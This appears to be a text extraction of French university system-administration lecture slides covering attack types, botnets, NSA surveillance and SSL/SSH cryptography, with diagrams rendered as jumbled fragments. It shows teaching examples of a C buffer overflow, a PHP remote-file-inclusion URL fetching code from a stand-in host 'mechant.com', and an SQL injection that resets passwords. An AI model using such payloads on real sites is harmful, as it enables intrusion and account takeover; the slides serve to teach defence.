Administration système Table des matières Notions de sécurité Vue

Transcription

Administration système Table des matières Notions de sécurité Vue
Administration système
Table des matières
M4101C
2ème année - S4, cours - 3/3
●
Notions de sécurité
●
Acteurs étatiques
●
Chiffrement de données
2014-2015
Marcel Bosc
Département informatique
IUT de Villetaneuse
Université Paris-13
Vue d'ensemble
1ère partie
Notions de sécurité
virus
worm
trojan
phishing
zero-day
botnet
zombies
backdoor
keylogger
DDoS
...
des millier d'attaques
par jour!
historique
2000
2010
Botnet : exemple
amusement
1. le pirate infecte des PCs
vol
crime organisé
botnets
Espionnage
Equation Group (NSA)
militaire, surveillance (NSA, USCYBERCOM, ...)
Stuxnet, Flame, ...
Anonymous
LulzSec...
2. les PC infectés se
connectent au botnet.
3. un spammer achète
l'accès au pirate
4. le spammer envoie les
instructions ; les zombies
envoient le spam
botnets de millions de zombies!
Wikipedia : timeline hacker (en), NSA, USCYBERCOM, http://min.me/1ay8p ...
Par où rentrer?
pirate
internet
services
Firewall
intranet
port serveur
web
80
port serveur
25
mail
port serveur
ftp
21
chaque service ouvert = porte d'entrée
Wikipedia : Botnet
Source: Wikipedia
pirate
internet
services
intranet
port serveur
web
80
utilisation
interne
port serveur
25
mail
utilisation
interne
port serveur
ftp
21
bloquer toutes les connections entrantes et sortantes,
sauf celles explicitement autorisées
Wikipedia : Pare-feu
Accès non autorisée
Exemple: buffer overflow
programme C vulnérable
pirate
plus de 100 char!
faire exécuter son propre code à une machine
obtenir des informations permettant de rentrer
par une voie « légitime » (ex: mdp)
« Social engineering »
faille de sécurité:
exploitation d'une erreur ou d'un oubli dans un programme :
en général très compliqué!
demander_nom()
{
char nom[100];
scanf("%s",nom);
...
}
la pile
normalement:
paramètres : aucun
variables locales: 't'
(nom)
'o'
100
't'
'o'
...
adresse retour : 0xfa6642a8
piraté:
aucun
0
plus
0
de
0
100
0
0
char!
0
0
adresse modifiée!!!
Wikipedia : Dépassement de tampon
exemple: php
debile.php
debile.php
$action=$_GET['action'];
include "$action.php";
$nom=$_GET['nom'];
$sql="SELECT * FROM users WHERE nom = '$nom';"
normalement:
http://zozo.com/debile.php?action=lire
$action=$_GET['action'];
include "$action.php";
exemple: injection sql
$action='lire';
include "lire.php";
pirate:
http://zozo.com/debile.php?action=http://mechant.com/pirate
normalement:
http://zozo.com/debile.php?nom=toto
$sql="SELECT * FROM users WHERE nom = 'toto';"
pirate:
http://zozo.com/debile.php?nom=toto%27%3BUPDATE+u...
$nom="toto';UPDATE users SET passwd='hack';";
$action=$_GET['action'];
include "$action.php";
$action='http://mechant.com/pirate';
! include "http://mechant.com/pirate.php";
$sql=SELECT * FROM users WHERE nom='toto';UPDATE
users SET passwd='hack';
Wikipedia : Injection SQL
mise à jours
Mesures
installation logiciel
bug
●
découverte de la
faille par la communauté
publication du problème
minimiser l'interaction avec l'extérieur
firewall, proxy
●
tenir tous les logiciels à jour
●
IDS: système de détection d'intrusion
●
autoriser que le strictement nécessaire
publication d'une correction
faire
vite!
mise à jour
exemple: logiciels web
recherche automatique des sites
vulnérables
sauvegardes incrémentales
Révélations Snowden
2ème partie
Ex-admin. système NSA
Acteurs étatiques
Lanceur d'alerte - juin 2013
Surveillance à grande échelle
Prism
« Upstream » Téléphonie
Google,
Dorsales
Yahoo,
fibre optique
Facebook,
Youtube...
Upstream collection
Dorsales fibre optique
Collaboration directe
des opérateurs télécoms
Ex: AT&T : room 641A
« RAMPART-A »
5 + 25 pays
32 000 To / jour
« Tempora » : Grande Bretagne (GCHQ)
21 000 To / jour
« Lustre » : France (DGSE)
Données Orange => NSA, GCHQ
70 millions appels / mois
Data mining
Stockage massif et
permanent des données
Bluffdale : $2 à 4 milliards
Traitement automatisé
des données
Analyse automatique
- réseaux de proches
- surveillance politique ?
Technique
Zero-days
Backdoors
arsenal probable
ex: heartbleed ?
sous-traitants
$20,000 à
$200,000 / faille
Open Source
Backdoors probables
ex: Microsoft
Closed Source
ex: Vupen
Ex: Dual_EC_DRBG backdoor
ex :firmware reflash
(EquationDrug, GrayFish)
Entreprise « RSA sécurity »
$10 millions
Comité standards 100% infiltré
Matériel
ex: Intel : RdRand
Ex: IPSEC OpenBSD backdoor (FBI)
SEL Linux : NSA : backdoors ?
beaucoup d'autres
Décryptage
3ème partie
Bullrun
Décryptage àgrande échelle
Chiffrement de données
SSL (https...), ssh ?, VPN, 4G, ...
Comment ???
Clés privées :
Key Provisioning Service
Key Recovery Service
intrusion ?
Cryptographie & admin. système
Admin. système : pas d'algorithmes
Alice
n=pq
c=m e(mod n)
RSA, D-H, ECC, ...
Cryptographie à clé publique
Bob
Bob pub
Bob pub
1
+ 2
ceci est
un message
secret
Nombreux services :
GPG, PGP, SSL (TLS), SSH, Bitcoin, ...
???
Mallory
=
c2Rmc2QgZ
nFrZnHDuW
tsZyBxw7lk
https, smtps, imaps, ldaps, ...
c2Rmc2QgZ
nFrZnHDuW
tsZyBxw7lk
3
Bob priv
+
4
=
Omniprésent :
ceci est
un message
secret
https : Google, Facebook, Twitter, Youtube, ...
smtps : gmail, yahoo, hotmail, laposte, ....
Man in the middle
Alice
+
2 Mal pub Bob pub
amdpb2Vvc
HppZSxiX8
On82Jjf920
CA3
CA3 pub
Bob pub
CA3 priv
2
Mal priv
3
ceci est
un message
secret
=
1
Bob priv
+
3
+
amdpb2Vvc
HppZSxiX8
On82Jjf920
8
+
6
c2Rmc2QgZ
nFrZnHDuW
tsZyBxw7lk
7
4
Bob pub
Signé par CA3
€
3
Bob
Bob pub
Signé par CA3
CA1 pub
=
ceci est
un message
secret
Tiers de
confiance
1
Alice
c2Rmc2QgZ
nFrZnHDuW
tsZyBxw7lk
= 5
ceci est
un message
secret
6
CA : Autorités de certification
Bob
Mallory
Mal pub
5
c2Rmc2QgZ
nFrZnHDuW
tsZyBxw7lk
9
CA2 pub
CA3 pub
5
Certificat :
Identité + clé publique,
signé par CA
Man in the middle
Alice
Mallory
Mal pub
2 Mal pub Bob pub
Fausse sign.
Mal priv
Faiblesse du CA
CA2
CA2 pub
Bob
Bob pub
1
CA2 :
vérification
faible
CA2 priv « J
e
Signé par CA3
«
Alice
d'
ac
Bob pub (Mal)
!
CA1 pub
co
rd
is
Bo
b
»
Signé par CA2
3
» Mallory
Bob pub (Mal)
Signé par CA2
CA1 pub
CA2 pub
CA2 pub
CA3 pub
CA3 pub
Exemple : https (http + ssl)
Exemple : https (http + ssl)
secure.bnpparisbas.net
client
navigateur
serveur web
«
Donne
moi
ton
certificat
»
1
BNP pub
2
certificat ( BNP pub + sig)
Vérification
BNP priv
sig.certificat
BNP pub
Cryptage asymétrique (clé privé/pub) = lent
su
BNP priv
clé session aléatoire
3
Asymétrique uniquement pour échanger une
clé de session aléatoire
Cryptage symétrique (clé privé) avec clé session
pour les données http
}
BNP pub
+ 4
clé sess. crypté
5
6 « Donne moi page.html »
<html>...</html>
internet
7
très simplifié
Certificat SSL
https : certificat non valide
ssl
Certificat :
Identité + clé publique,
signé par CA
Certificat :
Émis pour :
www.secure.bnpparisbas.net
BNP PARIBAS SA
Clé publique RSA 2048 bit :
00:e7:f6:01:43:93:a9:cc:35:fe:03:21:36:a4:5d:
...
Émis par : Verisign
Signature sha1 :
46:af:82:ac:41:39:9f:72:c8:37:05:5e:9b:07:57
...
Création d'un certificat
Exemple : ssh
Vérification de l'identité du serveur
Bob
génération
clés
Bob priv
1
CA pub
CA
Bob pub
CSR - Certificate signing request
2 1) identité : bob.org,
Bob S.A., [email protected]
2) Bob pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
CA priv
serveur : empreinte de la clé
3
std: 12€/an
EV: 280€/an
exemple.org $ $ ssh-keygen -lf /etc/ssh/ssh_host_rsa_key.pub
1024 ac:1b:13:e1:48:2a:73:32:5a:1d:37:7e:1d:31 [email protected] (RSA)
client
Vérification
identité 4
6 Config apache, mail, ...
serveur
exemple.org :
certificat
{
CSR
5
CA priv
monordi $ ssh exemple.org
The authenticity of host 'exemple.org (123.45.67.89)' can't be established.
RSA key fingerprint is ac:1b:13:e1:48:2a:73:32:5a:1d:37:7e:1d:31
Are you sure you want to continue connecting (yes/no)?
client : /home/moi/.ssh/known_hosts
ssh : authentification client
Par clé publique, sans mot de passe
passphrase
client:
/home/moi/.ssh/id_rsa
/home/moi/.ssh/id_rsa.pub
Ce document est distribué librement.
Sous licence GNU FDL :
http://www.gnu.org/copyleft/fdl.html
Les originaux sont disponibles au format LibreOffice
serveur:
/home/moi/.ssh/authorized_keys
Aussi :
exécution de commande à distance sans mot de passe
http://www-info.iutv.univ-paris13.fr/~bosc

Documents pareils